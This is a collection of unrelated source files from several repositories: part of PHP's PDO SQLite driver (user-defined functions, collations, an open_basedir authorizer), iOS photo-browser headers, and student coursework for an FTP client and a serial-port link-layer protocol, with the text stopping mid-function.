ZVAL_STRINGL(&zargs[0], (char *) string1, string1_len); ZVAL_STRINGL(&zargs[1], (char *) string2, string2_len); collation->fc.fci.param_count = 2; collation->fc.fci.params = zargs; if ((ret = zend_call_function(&collation->fc.fci, &collation->fc.fcc)) == FAILURE) { php_error_docref(NULL, E_WARNING, "An error occurred while invoking the callback"); } else if (!Z_ISUNDEF(retval)) { if (Z_TYPE(retval) != IS_LONG) { convert_to_long_ex(&retval); } ret = 0; if (Z_LVAL(retval) > 0) { ret = 1; } else if (Z_LVAL(retval) < 0) { ret = -1; } zval_ptr_dtor(&retval); } zval_ptr_dtor(&zargs[0]); zval_ptr_dtor(&zargs[1]); return ret; } /* {{{ bool SQLite::sqliteCreateFunction(string name, mixed callback [, int argcount, int flags]) Registers a UDF with the sqlite db handle */ static PHP_METHOD(SQLite, sqliteCreateFunction) { struct pdo_sqlite_func *func; zval *callback; char *func_name; size_t func_name_len; zend_long argc = -1; zend_long flags = 0; pdo_dbh_t *dbh; pdo_sqlite_db_handle *H; int ret; ZEND_PARSE_PARAMETERS_START(2, 4) Z_PARAM_STRING(func_name, func_name_len) Z_PARAM_ZVAL(callback) Z_PARAM_OPTIONAL Z_PARAM_LONG(argc) Z_PARAM_LONG(flags) ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE); dbh = Z_PDO_DBH_P(ZEND_THIS); PDO_CONSTRUCT_CHECK; if (!zend_is_callable(callback, 0, NULL)) { zend_string *cbname = zend_get_callable_name(callback); php_error_docref(NULL, E_WARNING, "function '%s' is not callable", ZSTR_VAL(cbname)); zend_string_release_ex(cbname, 0); RETURN_FALSE; } H = (pdo_sqlite_db_handle *)dbh->driver_data; func = (struct pdo_sqlite_func*)ecalloc(1, sizeof(*func)); ret = sqlite3_create_function(H->db, func_name, argc, flags | SQLITE_UTF8, func, php_sqlite3_func_callback, NULL, NULL); if (ret == SQLITE_OK) { func->funcname = estrdup(func_name); ZVAL_COPY(&func->func, callback); func->argc = argc; func->next = H->funcs; H->funcs = func; RETURN_TRUE; } efree(func); RETURN_FALSE; } /* }}} */ /* {{{ bool SQLite::sqliteCreateAggregate(string name, mixed step, mixed fini [, int argcount]) Registers a UDF with the sqlite db handle */ /* The step function should have the prototype: mixed step(mixed $context, int $rownumber, $value [, $value2 [, ...]]) $context will be null for the first row; on subsequent rows it will have the value that was previously returned from the step function; you should use this to maintain state for the aggregate. The fini function should have the prototype: mixed fini(mixed $context, int $rownumber) $context will hold the return value from the very last call to the step function. rownumber will hold the number of rows over which the aggregate was performed. The return value of this function will be used as the return value for this aggregate UDF. */ static PHP_METHOD(SQLite, sqliteCreateAggregate) { struct pdo_sqlite_func *func; zval *step_callback, *fini_callback; char *func_name; size_t func_name_len; zend_long argc = -1; pdo_dbh_t *dbh; pdo_sqlite_db_handle *H; int ret; ZEND_PARSE_PARAMETERS_START(3, 4) Z_PARAM_STRING(func_name, func_name_len) Z_PARAM_ZVAL(step_callback) Z_PARAM_ZVAL(fini_callback) Z_PARAM_OPTIONAL Z_PARAM_LONG(argc) ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE); dbh = Z_PDO_DBH_P(ZEND_THIS); PDO_CONSTRUCT_CHECK; if (!zend_is_callable(step_callback, 0, NULL)) { zend_string *cbname = zend_get_callable_name(step_callback); php_error_docref(NULL, E_WARNING, "function '%s' is not callable", ZSTR_VAL(cbname)); zend_string_release_ex(cbname, 0); RETURN_FALSE; } if (!zend_is_callable(fini_callback, 0, NULL)) { zend_string *cbname = zend_get_callable_name(fini_callback); php_error_docref(NULL, E_WARNING, "function '%s' is not callable", ZSTR_VAL(cbname)); zend_string_release_ex(cbname, 0); RETURN_FALSE; } H = (pdo_sqlite_db_handle *)dbh->driver_data; func = (struct pdo_sqlite_func*)ecalloc(1, sizeof(*func)); ret = sqlite3_create_function(H->db, func_name, argc, SQLITE_UTF8, func, NULL, php_sqlite3_func_step_callback, php_sqlite3_func_final_callback); if (ret == SQLITE_OK) { func->funcname = estrdup(func_name); ZVAL_COPY(&func->step, step_callback); ZVAL_COPY(&func->fini, fini_callback); func->argc = argc; func->next = H->funcs; H->funcs = func; RETURN_TRUE; } efree(func); RETURN_FALSE; } /* }}} */ /* {{{ bool SQLite::sqliteCreateCollation(string name, mixed callback) Registers a collation with the sqlite db handle */ static PHP_METHOD(SQLite, sqliteCreateCollation) { struct pdo_sqlite_collation *collation; zval *callback; char *collation_name; size_t collation_name_len; pdo_dbh_t *dbh; pdo_sqlite_db_handle *H; int ret; ZEND_PARSE_PARAMETERS_START(2, 2) Z_PARAM_STRING(collation_name, collation_name_len) Z_PARAM_ZVAL(callback) ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE); dbh = Z_PDO_DBH_P(ZEND_THIS); PDO_CONSTRUCT_CHECK; if (!zend_is_callable(callback, 0, NULL)) { zend_string *cbname = zend_get_callable_name(callback); php_error_docref(NULL, E_WARNING, "function '%s' is not callable", ZSTR_VAL(cbname)); zend_string_release_ex(cbname, 0); RETURN_FALSE; } H = (pdo_sqlite_db_handle *)dbh->driver_data; collation = (struct pdo_sqlite_collation*)ecalloc(1, sizeof(*collation)); ret = sqlite3_create_collation(H->db, collation_name, SQLITE_UTF8, collation, php_sqlite3_collation_callback); if (ret == SQLITE_OK) { collation->name = estrdup(collation_name); ZVAL_COPY(&collation->callback, callback); collation->next = H->collations; H->collations = collation; RETURN_TRUE; } efree(collation); RETURN_FALSE; } /* }}} */ static const zend_function_entry dbh_methods[] = { PHP_ME(SQLite, sqliteCreateFunction, NULL, ZEND_ACC_PUBLIC) PHP_ME(SQLite, sqliteCreateAggregate, NULL, ZEND_ACC_PUBLIC) PHP_ME(SQLite, sqliteCreateCollation, NULL, ZEND_ACC_PUBLIC) PHP_FE_END }; static const zend_function_entry *get_driver_methods(pdo_dbh_t *dbh, int kind) { switch (kind) { case PDO_DBH_DRIVER_METHOD_KIND_DBH: return dbh_methods; default: return NULL; } } static void pdo_sqlite_request_shutdown(pdo_dbh_t *dbh) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; /* unregister functions, so that they don't linger for the next * request */ if (H) { pdo_sqlite_cleanup_callbacks(H); } } static const struct pdo_dbh_methods sqlite_methods = { sqlite_handle_closer, sqlite_handle_preparer, sqlite_handle_doer, sqlite_handle_quoter, sqlite_handle_begin, sqlite_handle_commit, sqlite_handle_rollback, pdo_sqlite_set_attr, pdo_sqlite_last_insert_id, pdo_sqlite_fetch_error_func, pdo_sqlite_get_attribute, NULL, /* check_liveness: not needed */ get_driver_methods, pdo_sqlite_request_shutdown, NULL }; static char *make_filename_safe(const char *filename) { if (*filename && memcmp(filename, ":memory:", sizeof(":memory:"))) { char *fullpath = expand_filepath(filename, NULL); if (!fullpath) { return NULL; } if (php_check_open_basedir(fullpath)) { efree(fullpath); return NULL; } return fullpath; } return estrdup(filename); } static int authorizer(void *autharg, int access_type, const char *arg3, const char *arg4, const char *arg5, const char *arg6) { char *filename; switch (access_type) { case SQLITE_COPY: { filename = make_filename_safe(arg4); if (!filename) { return SQLITE_DENY; } efree(filename); return SQLITE_OK; } case SQLITE_ATTACH: { filename = make_filename_safe(arg3); if (!filename) { return SQLITE_DENY; } efree(filename); return SQLITE_OK; } default: /* access allowed */ return SQLITE_OK; } } static int pdo_sqlite_handle_factory(pdo_dbh_t *dbh, zval *driver_options) /* {{{ */ { pdo_sqlite_db_handle *H; int i, ret = 0; zend_long timeout = 60, flags; char *filename; H = pecalloc(1, sizeof(pdo_sqlite_db_handle), dbh->is_persistent); H->einfo.errcode = 0; H->einfo.errmsg = NULL; dbh->driver_data = H; filename = make_filename_safe(dbh->data_source); if (!filename) { zend_throw_exception_ex(php_pdo_get_exception(), 0, "open_basedir prohibits opening %s", dbh->data_source); goto cleanup; } flags = pdo_attr_lval(driver_options, PDO_SQLITE_ATTR_OPEN_FLAGS, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE); i = sqlite3_open_v2(filename, &H->db, flags, NULL); efree(filename); if (i != SQLITE_OK) { pdo_sqlite_error(dbh); goto cleanup; } if (PG(open_basedir) && *PG(open_basedir)) { sqlite3_set_authorizer(H->db, authorizer, NULL); } if (driver_options) { timeout = pdo_attr_lval(driver_options, PDO_ATTR_TIMEOUT, timeout); } sqlite3_busy_timeout(H->db, timeout * 1000); dbh->alloc_own_columns = 1; dbh->max_escaped_char_length = 2; ret = 1; cleanup: dbh->methods = &sqlite_methods; return ret; } /* }}} */ const pdo_driver_t pdo_sqlite_driver = { PDO_DRIVER_HEADER(sqlite), pdo_sqlite_handle_factory };
Soulghost/SGPhotoBrowser
SGPhotoBrowserDemo/SGPhotoBrowserDemo/MyBrowserViewController.h
<filename>SGPhotoBrowserDemo/SGPhotoBrowserDemo/MyBrowserViewController.h<gh_stars>10-100 // // MyBrowserViewController.h // SGPhotoBrowserDemo // // Created by soulghost on 28/7/2016. // Copyright © 2016 soulghost. All rights reserved. // #import "SGPhotoBrowser.h" @interface MyBrowserViewController : SGPhotoBrowser @end
Soulghost/SGPhotoBrowser
SGPhotoBrowser/SGZoomingImageView.h
// // SGImageView.h // SGSecurityAlbum // // Created by soulghost on 10/7/2016. // Copyright © 2016 soulghost. All rights reserved. // #import <UIKit/UIKit.h> typedef NS_OPTIONS(NSInteger, SGImageViewState) { SGImageViewStateNone = 0, SGImageViewStateFit, SGImageViewStateOrigin }; typedef void(^SGZoomingImageViewTapHandlerBlock)(void); @interface SGZoomingImageView : UIScrollView @property (nonatomic, assign) SGImageViewState state; @property (nonatomic, strong) UIImageView *innerImageView; @property (nonatomic, assign) BOOL isOrigin; - (void)setSingleTapHandler:(SGZoomingImageViewTapHandlerBlock)handler; - (void)scaleToFitAnimated:(BOOL)animated; - (void)scaleToOriginSize:(BOOL)animated; - (void)toggleStateAnimated:(BOOL)animated; - (void)scaleToFitIfNeededAnimated:(BOOL)animated; @end
LockDownPT/MIEIC_rcom
Trabalho_1/src/alarm.h
<filename>Trabalho_1/src/alarm.h #pragma once #include <unistd.h> #include <signal.h> #include <stdio.h> #include <stdbool.h> #include "data_link.h" #include "macros.h" #include "app.h" #include "aux.h" int finish, num_retr; bool resendFrame; /** * Handles the alarm signal * @param signal Signal that is received */ void alarmHandler(int signal);
LockDownPT/MIEIC_rcom
Trabalho_2/src/functions.c
<filename>Trabalho_2/src/functions.c #include <string.h> #include <stdio.h> #include <ctype.h> #include <sys/stat.h> #include <fcntl.h> #include <stdbool.h> #include "functions.h" /** * Function that parses the command line arguments, retrieving a struct with all the individual fields * * @param args Pointer to the structure that is going to have the individual fields * @param commandLineArg Argument from the command line, that is going to be parsed * @return int 0 if success; -1 otherwise */ int parseArguments(struct arguments *args, char *commandLineArg) { printf("Parsing command line arguments...\n"); // verifying FTP protocol char *token = strtok(commandLineArg, ":"); if ((token == NULL) || (strcmp(token, "ftp") != 0)) { printf("-> Error in the protocol name (should be 'ftp')\n"); return -1; } token = strtok(NULL, "\0"); char rest_of_string[MAX_LENGTH]; strcpy(rest_of_string, token); // parsing user name char aux[MAX_LENGTH]; strcpy(aux, rest_of_string); token = strtok(aux, ":"); if (token == NULL || (strlen(token) < 3) || (token[0] != '/') || (token[1] != '/')) { printf("-> Error parsing the user name\n"); return -1; } else if (strcmp(token, rest_of_string) == 0) { memset(args->user, 0, sizeof(args->user)); strcpy(args->user, "anonymous"); memset(args->password, 0, sizeof(args->password)); strcpy(args->password, ""); char aux2[MAX_LENGTH]; strcpy(aux2, &rest_of_string[2]); strcpy(rest_of_string, aux2); } else { memset(args->user, 0, sizeof(args->user)); strcpy(args->user, &token[2]); // parsing password token = strtok(NULL, "@"); if (token == NULL || (strlen(token) == 0)) { printf("-> Error parsing the password\n"); return -1; } memset(args->password, 0, sizeof(args->password)); strcpy(args->password, token); token = strtok(NULL, "\0"); strcpy(rest_of_string, token); } // parsing hostname token = strtok(rest_of_string, "/"); if (token == NULL) { printf("-> Error parsing the hostname\n"); return -1; } memset(args->host_name, 0, sizeof(args->host_name)); strcpy(args->host_name, token); // parsing path and name token = strtok(NULL, "\0"); if (token == NULL) { printf("-> Error parsing the file path\n"); return -1; } char* last = strrchr(token, '/'); if (last != NULL) { memset(args->file_path, 0, sizeof(args->file_path)); strncpy(args->file_path, token, last - token); memset(args->file_name, 0, sizeof(args->file_name)); strcpy(args->file_name, last + 1); } else { memset(args->file_path, 0, sizeof(args->file_path)); strcpy(args->file_path, ""); memset(args->file_name, 0, sizeof(args->file_name)); strcpy(args->file_name, token); } printf("Parsed command line arguments.\n\n"); return 0; } /** * Function that, having the host name, retrieves the IP address * * @param idAddress Variable that is going to point to the IP Address * @param hostName The host's name * @return int 0 if success; -1 otherwise */ int getIPAddress(char *ipAddress, char *hostName) { struct hostent *h; if ((h = gethostbyname(hostName)) == NULL) { herror("gethostbyname"); return -1; } strcpy(ipAddress, inet_ntoa(*((struct in_addr *)h->h_addr))); return 0; } /** * Function that creates a new TCP socket, and connects it to the address and port specified * * @param address The IP address of the server * @param port The number of the port to be used * @return int Socket descriptor if success; -1 otherwise */ int createAndConnectSocket(char *address, int port) { int sockfd; struct sockaddr_in server_addr; // server address handling bzero((char *)&server_addr, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = inet_addr(address); server_addr.sin_port = htons(port); // open a TCP socket if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket()"); return -1; } // connect to the server if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("connect()"); return -1; } return sockfd; } /** * Function that allows a command to be sent through a socket * * @param sockfd The socket descriptor * @param command The command to be sent * @param commandLength The length of the command * @return 0 if success; -1 otherwise */ int sendToControlSocket(struct ftp *ftp, char *cmdHeader, char *cmdBody) { printf("Sending to control Socket > %s %s\n", cmdHeader, cmdBody); int bytes = write(ftp->control_socket_fd, cmdHeader, strlen(cmdHeader)); if (bytes != strlen(cmdHeader)) return -1; bytes = write(ftp->control_socket_fd, " ", 1); if (bytes != 1) return -1; bytes = write(ftp->control_socket_fd, cmdBody, strlen(cmdBody)); if (bytes != strlen(cmdBody)) return -1; bytes = write(ftp->control_socket_fd, "\n", 1); if (bytes != 1) return -1; return 0; } /** * Function that allows the reading of a command through a socket * * @param ftp Struct with the socket descriptors * @param string Buffer that is going to store the 3 digit number code received from the server * @param size Number of digits to be received * @return int 0 if success; -1 otherwise */ int receiveFromControlSocket(struct ftp *ftp, char *string, size_t size) { printf("Receiving from control Socket \n"); FILE *fp = fdopen(ftp->control_socket_fd, "r"); do { memset(string, 0, size); string = fgets(string, size, fp); printf("%s", string); } while (!('1' <= string[0] && string[0] <= '5') || string[3] != ' '); return 0; } /** * Function that sends a command to the control socket and interprets the response received * * @param ftp Struct with the socket descriptors * @param cmdHeader Header of the command to be sent * @param cmdBody Body of the command to be sent * @param response Buffer that is going to store the number code received from the server * @param responseLength Number of digits to be received on the response * @param readingFile Indicates if the file is about to be read from the data socket * @return int Positive (depending on response) if success; -1 otherwise */ int sendCommandInterpretResponse(struct ftp *ftp, char *cmdHeader, char *cmdBody, char *response, size_t responseLength, bool readingFile) { if (sendToControlSocket(ftp, cmdHeader, cmdBody) < 0) { printf("Error Sending Command %s %s\n", cmdHeader, cmdBody); return -1; } int code; while (1) { receiveFromControlSocket(ftp, response, responseLength); code = response[0] - '0'; switch (code) { case 1: // expecting another reply if (readingFile) return 2; else break; case 2: // request action success return 2; case 3: // needs aditional information return 3; case 4: // try again if (sendToControlSocket(ftp, cmdHeader, cmdBody) < 0) { printf("Error Sending Command %s %s\n", cmdHeader, cmdBody); return -1; } break; case 5: // error in sending command, closing control socket , exiting application printf("> Command wasn\'t accepted... \n"); close(ftp->control_socket_fd); exit(-1); break; default: break; } } } /** * Function that obtains a server port for the transfer of a file. * * @param ftp Struct with the socket descriptors * @return int 0 if success; -1 otherwise */ int getServerPortForFile(struct ftp *ftp) { char firstByte[4]; char secondByte[4]; memset(firstByte, 0, 4); memset(secondByte, 0, 4); char response[MAX_LENGTH]; int rtr = sendCommandInterpretResponse(ftp, "pasv", "", response, MAX_LENGTH, false); int ipPart1, ipPart2, ipPart3, ipPart4; int port1, port2; if (rtr == 2) { // starting to process information if ((sscanf(response, "227 Entering Passive Mode (%d,%d,%d,%d,%d,%d)", &ipPart1, &ipPart2, &ipPart3, &ipPart4, &port1, &port2)) < 0) { printf("ERROR: Cannot process information to calculating port.\n"); return -1; } } else { printf("Error receiving pasv command response from server...\n\n"); return -1; } char ip[MAX_LENGTH]; sprintf(ip, "%d.%d.%d.%d", ipPart1, ipPart2, ipPart3, ipPart4); int port = port1 * 256 + port2; printf("Port number %d\n\n", port); if ((ftp->data_socket_fd = createAndConnectSocket(ip, port)) < 0) { printf("Error creating new socket\n"); return -1; } return 0; } /** * Function that sends the "retr" command to the control socket, so the file starts being transmited in the file socket * * @param ftp Struct containing the socket descriptors * @param fileName The name of the file to be transfered * @return int 0 if successful; -1 otherwise */ int retr(struct ftp* ftp, char* fileName){ char response[MAX_LENGTH]; if(sendCommandInterpretResponse(ftp, "RETR", fileName, response, MAX_LENGTH, true) < 0){ printf("Error sending Command Retr\n\n"); return -1; } return 0; } /** * Function that sends the login information to the socket for authentication * * @param ftp Struct that contains the socket descriptors * @param username User name to be sent to the socket * @param password Password to be sent to the socket * @return int 0 if success; -1 otherwise */ int login(struct ftp *ftp, char *username, char *password) { printf("Sending Username...\n\n"); char response[MAX_LENGTH]; int rtr = sendCommandInterpretResponse(ftp, "user", username, response, MAX_LENGTH, false); if (rtr == 3) { printf("Sent Username...\n\n"); } else { printf("Error sending Username...\n\n"); return -1; } printf("Sending Password...\n\n"); rtr = sendCommandInterpretResponse(ftp, "pass", password, response, MAX_LENGTH, false); if (rtr == 2) { printf("Sent Password...\n\n"); } else { printf("Error sending Password...\n\n"); return -1; } return 0; } /** * Function to change the working directory of the FTP, using the CWD command * * @param ftp Struct containing the socket descriptors * @param path Path of the new working directory to be changed to * @return int 0 if successful; -1 otherwise */ int changeWorkingDirectory(struct ftp* ftp, char* path) { char response[MAX_LENGTH]; if(sendCommandInterpretResponse(ftp, "CWD", path, response, MAX_LENGTH, false) < 0){ printf("Error sendimg Comand CWD\n\n"); return -1; } return 0; } /** * Function that downloads a file sent from the server through a socket, and saves it in a local file * * @param ftp Struct containing the socket descriptors * @param fileName The name of the file to be transfered * @return int 0 if successful; -1 otherwise */ int downloadFile(struct ftp* ftp, char * fileName){ FILE *fp = openFile(fileName, "w"); if (fp == NULL){ printf("Error opening or creating file\n"); return -1; } char buf[1024]; int bytes; printf("Starting to download file with name %s\n", fileName); while((bytes = read(ftp->data_socket_fd, buf, sizeof(buf)))){ if(bytes < 0){ printf("Error reading from data socket\n"); return -1; } if((bytes = fwrite(buf, bytes, 1, fp)) < 0){ printf("Error writing data to file\n"); return -1; } } printf("Finished dowloading File\n"); if(closeFile(fp) < 0){ printf("Error closing file\n"); return -1; } close(ftp->data_socket_fd); char response[MAX_LENGTH]; receiveFromControlSocket(ftp, response, MAX_LENGTH); if (response[0] != '2') return -1; return 0; } /** * Function that opens a file, from its name * * @param fileName Name of the file to be opened * @param mode Mode in which to open the file * @return File pointer to the file in question; null if error */ FILE* openFile(char* fileName, char* mode){ FILE* fp; fp = fopen(fileName, mode); if (fp == NULL) { perror(fileName); return NULL; } return fp; } /** * Function that closes a file, from its file pointer * * @param fp File pointer to the file to be closed * @return 0 if successful, EOF if an error occurs */ int closeFile(FILE* fp){ return fclose(fp); } /** * Function that ends the connection with the control socket * * @param ftp Struct containing the socket descriptors * @return int 0 if successful; -1 if error */ int disconnectFromSocket(struct ftp* ftp) { char response[MAX_LENGTH]; if(sendCommandInterpretResponse(ftp, "QUIT", "", response, MAX_LENGTH, false) != 2){ printf("Error sending Command Quit\n\n"); return -1; } return 0; }
LockDownPT/MIEIC_rcom
Trabalho_1/src/data_link.h
#pragma once #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <termios.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include "macros.h" struct linkLayer { char port[20]; /*Dispositivo /dev/ttySx, x = 0, 1*/ int baudRate; /*Velocidade de transmissão*/ unsigned int sequenceNumber; /*Número de sequência da trama: 0, 1*/ unsigned int timeout; /*Valor do temporizador: 1 s*/ unsigned int numTransmissions; /*Número de tentativas em caso de falha*/ unsigned char frame[MAX_SIZE_FRAME]; /*Trama*/ unsigned int frameLength; /*Comprimento atual da trama*/ }; // global variables struct linkLayer ll; struct termios oldtio; /** * Opens the connection for the receiver * @param fd File descriptor for the serial port * @return File descriptor; -1 in case of error */ int llOpenReceiver(int fd); /** * Opens the connection for the transmitter * @param fd File descriptor for the serial port * @return File descriptor; -1 in case of error */ int llOpenTransmitter(int fd); /** * Function that opens and establishes the connection between the receiver and the transmitter * @param port Port name * @param role Flag that indicates the transmitter or the receiver * @return File descriptor; -1 in case of error */ int llopen(char* port, int role); /** * Function that writes the information contained in the buffer to the serial port * @param fd File descriptor of the serial port * @param buffer Information to be written * @param length Length of the buffer * @return Number of characters written; -1 in case of error */ int llwrite(int fd, unsigned char* buffer, int length); /** * Function that reads the information written in the serial port * @param fd File descriptor of the serial port * @param buffer Array of characters where the read information will be stored * @return Number of characters read; -1 in case of error */ int llread(int fd, unsigned char* buffer); /** * Closes the connection for the receiver * @param fd File descriptor for the serial port * @return Positive value when sucess; negative value when error */ int llCloseReceiver(int fd); /** * Closes the connection for the transmitter * @param fd File descriptor for the serial port * @return Positive value when sucess; negative value when error */ int llCloseTransmitter(int fd); /** * Function that closes the connection between the receiver and the transmitter * @param fd File descriptor of the port * @param role Flag that indicates the transmitter or the receiver * @return Positive value when sucess; negative value when error */ int llclose(int fd, int role);
LockDownPT/MIEIC_rcom
Trabalho_1/src/statemachine.h
#pragma once typedef enum state { START = 0, FLAG_RCV, A_RCV, C_RCV, BCC_OK, STOP } state_st; typedef struct state_machine { state_st state; unsigned char* wantedBytes; int wantedBytesLength; unsigned char addressByte; int foundIndex; int dataLength; } state_machine_st; /** * Function to check if a byte is contained in the state machine's wantedBytes field * @param byte Byte to be checked * @param sm State machine for which to check * @return Index of the array where the byte was found; negative if byte is not a member */ int isWanted(unsigned char byte, state_machine_st* sm); /** * Function to update the state of the state machine * @param sm State machine to be updated * @param st State to be assigned to the state machine */ void change_state(state_machine_st* sm, state_st st); /** * Function to create a state machine, with the given attributes * @param wantedBytes Possible bytes that are expected in the frame to be read by the state machine * @param wantedBytesLength Number of possible bytes that are expected in the frame to be read by the state machine * @param addressByte Address from which the frame to be read by the state machine is expected * @return Pointer to the new state machine "object" (struct) */ state_machine_st* create_state_machine(unsigned char* wantedBytes, int wantedBytesLength, unsigned char addressByte); /** * Function to update the state machine according to the bytes read * @param sm State machine to be updated * @param byte Last byte to have been read, of the current frame * @param frame Address where the frame that's being read is being stored * @param mode Type of frame that's being read (Supervision or Information) */ void event_handler(state_machine_st* sm, unsigned char byte, unsigned char* frame, int mode); /** * Function to free the memory allocated to a state machine object * @param sm State machine to be destroyed */ void destroy_st(state_machine_st* sm);
LockDownPT/MIEIC_rcom
Trabalho_1/src/aux.h
<filename>Trabalho_1/src/aux.h #pragma once #include <termios.h> #include <unistd.h> /** * Function to create the Block Check Character relative to the Address and Control fields * @param a Address Character of the frame * @param c Control Character of the frame * @return Expected value for the Block Check Character */ unsigned char createBCC(unsigned char a, unsigned char c); /** * Function to create the Block Check Character relative to the Data Characters of the frame * @param frame Frame position where the Data starts * @param length Number of Data Characters to process * @return Expected value for the Block Check Character */ unsigned char createBCC_2(unsigned char* frame, int length); /** * Function to apply byte stuffing to the Data Characters of a frame * @param frame Address of the frame * @param length Number of Data Characters to process * @return Length of the new frame, post byte stuffing */ int byteStuffing(unsigned char* frame, int length); /** * Function to reverse the byte stuffing applied to the Data Characters of a frame * @param frame Address of the frame * @param length Number of Data Characters to process * @return Length of the new frame, post byte destuffing */ int byteDestuffing(unsigned char* frame, int length); /** * Function to create a supervision frame for the serial port file transfer protocol * @param frame Address where the frame will be stored * @param controlField Control field of the supervision frame * @param role Role for which to create the frame, marking the difference between the Transmitter and the Receiver * @return 0 if successful; negative if an error occurs */ int createSupervisionFrame(unsigned char* frame, unsigned char controlField, int role); /** * Function to create an information frame for the serial port file transfer protocol * @param frame Address where the frame will be stored * @param controlField Control field of the supervision frame * @param infoField Start address of the information to be inserted into the information frame * @param infoFieldLength Number of data characters to be inserted into the information frame * @return Returns 0, as there is no place at which an error can occur */ int createInformationFrame(unsigned char* frame, unsigned char controlField, unsigned char* infoField, int infoFieldLength); /** * Function to read a supervision frame, sent according to the serial port file transfer protocol * @param frame Address where the frame will be stored * @param fd File descriptor from which to read the frame * @param wantedBytes Array containing the possible expected control bytes of the frame * @param wantedBytesLength Number of possible expected control bytes of the frame * @param addressByte Address from which a frame is expected * @return Index of the wanted byte found, in the wantedBytes array */ int readSupervisionFrame(unsigned char* frame, int fd, unsigned char* wantedBytes, int wantedBytesLength, unsigned char addressByte); /** * Function to read an information frame, sent according to the serial port file transfer protocol * @param frame Address where the frame will be stored * @param fd File descriptor from which to read the frame * @param wantedBytes Array containing the possible expected control bytes of the frame * @param wantedBytesLength Number of possible expected control bytes of the frame * @param addressByte Address from which a frame is expected * @return Length of the data packet sent, including byte stuffing and BCC2 */ int readInformationFrame(unsigned char* frame, int fd, unsigned char* wantedBytes, int wantedBytesLength, unsigned char addressByte); /** * Function to send a frame to the designated file descriptor * @param frame Start address of the frame to the sent * @param fd File descriptor to which to write the information * @param length Size of the frame to be sent (size of information to be written) * @return Number of bytes written if successful; negative if an error occurs */ int sendFrame(unsigned char* frame, int fd, int length); /** * Function to read a byte from the designated file descriptor * @param byte Address to which to store the byte * @param fd File descriptor from which to read the byte * @return Return value of the read() call if successful; negative if an error occurs */ int readByte(unsigned char* byte, int fd); /** * Function to open the file descriptor through which to execute the serial port communications, * in the non-canonical mode, according to the serial port file transfer protocol * @param port Name of the port to be opened * @param oldtio Struct where the pre-open port settings will be stored * @param vtime Value to be assigned to the VTIME field of the new settings - time between bytes read * @param vmin Value to be assigned to the VMIN field of the new settings - minimum amount of bytes to read * @return File descriptor that was opened with the given port */ int openNonCanonical(char* port, struct termios* oldtio, int vtime, int vmin); /** * Function to close the file descriptor through which the serial port communications were executed * @param fd File descriptor where the port has been opened * @param oldtio Struct containing the original port settings have been saved, so they can be restored * @return 0 if successful; negative if an error occurs */ int closeNonCanonical(int fd, struct termios* oldtio); /** * Function to install the alarm handler, using sigaction */ void alarmHandlerInstaller(); // ------------------------------ /** * Auxiliary function to convert a decimal value into two (max. 8 bits) values, for hexadecimal representation * @param k Decimal value to be converted * @param l1 Least significant bits of the converted value * @param l2 Most significant bits of the converted value */ void convertValueInTwo(int k, int* l1, int* l2); /** * Auxiliary function to convert two (max. 8 bits) values, from hexadecimal representation, into one single decimal * @param l1 Least significant bits of the value to be converted * @param l2 Most significant bits of the value to be converted * @return Decimal converted value */ int convertValueInOne(int l1, int l2);
LockDownPT/MIEIC_rcom
Trabalho_1/src/files.h
#pragma once #include <stdio.h> /** * Auxiliary function to obtain the size of a file, from its file pointer * @param fp File pointer to the file * @return size of the file in question */ int getFileSize(FILE *fp); /** * Function that opens a file, from its name * @param fileName Name of the file to be opened * @param mode Mode in which to open the file * @return file pointer to the file in question */ FILE* openFile(char* fileName, char* mode); /** * Function that closes a file, from its file pointer * @param fp File pointer to the file to be closed * @return 0 if successful, EOF if an error occurs */ int closeFile(FILE* fp);
LockDownPT/MIEIC_rcom
Trabalho_1/src/statemachine.c
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <termios.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include "aux.h" #include "statemachine.h" #include "macros.h" /** * Function to check if a byte is contained in the state machine's wantedBytes field * @param byte Byte to be checked * @param sm State machine for which to check * @return Index of the array where the byte was found; negative if byte is not a member */ int isWanted(unsigned char byte, state_machine_st* sm) { for (int i = 0; i < sm->wantedBytesLength; i++) { if (sm->wantedBytes[i] == byte) return i; } return -1; } /** * Function to update the state of the state machine * @param sm State machine to be updated * @param st State to be assigned to the state machine */ void change_state(state_machine_st* sm, state_st st) { sm->state = st; } /** * Function to create a state machine, with the given attributes * @param wantedBytes Possible bytes that are expected in the frame to be read by the state machine * @param wantedBytesLength Number of possible bytes that are expected in the frame to be read by the state machine * @param addressByte Address from which the frame to be read by the state machine is expected * @return Pointer to the new state machine "object" (struct) */ state_machine_st* create_state_machine(unsigned char* wantedBytes, int wantedBytesLength, unsigned char addressByte) { state_machine_st* sm = malloc(sizeof(state_machine_st)); change_state(sm, START); sm->wantedBytes = wantedBytes; sm->wantedBytesLength = wantedBytesLength; sm->addressByte = addressByte; sm->dataLength = 0; return sm; } /** * Function to update the state machine according to the bytes read * @param sm State machine to be updated * @param byte Last byte to have been read, of the current frame * @param frame Address where the frame that's being read is being stored * @param mode Type of frame that's being read (Supervision or Information) */ void event_handler(state_machine_st* sm, unsigned char byte, unsigned char* frame, int mode) { static int i = 0; if(mode == SUPERVISION){ switch(sm->state) { case START: if (byte == FLAG) { change_state(sm, FLAG_RCV); frame[0] = byte; } break; case FLAG_RCV: if (byte == FLAG) break; else if (byte == sm->addressByte) { change_state(sm, A_RCV); frame[1] = byte; } else change_state(sm, START); break; case A_RCV: if (byte == FLAG) change_state(sm, FLAG_RCV); else { int n; if ((n = isWanted(byte, sm))>=0){ change_state(sm, C_RCV); sm->foundIndex = n; frame[2] = byte; } else change_state(sm, START); } break; case C_RCV: if (byte == createBCC(frame[1], frame[2])){ change_state(sm, BCC_OK); frame[3] = byte; } else if (byte == FLAG) change_state(sm, 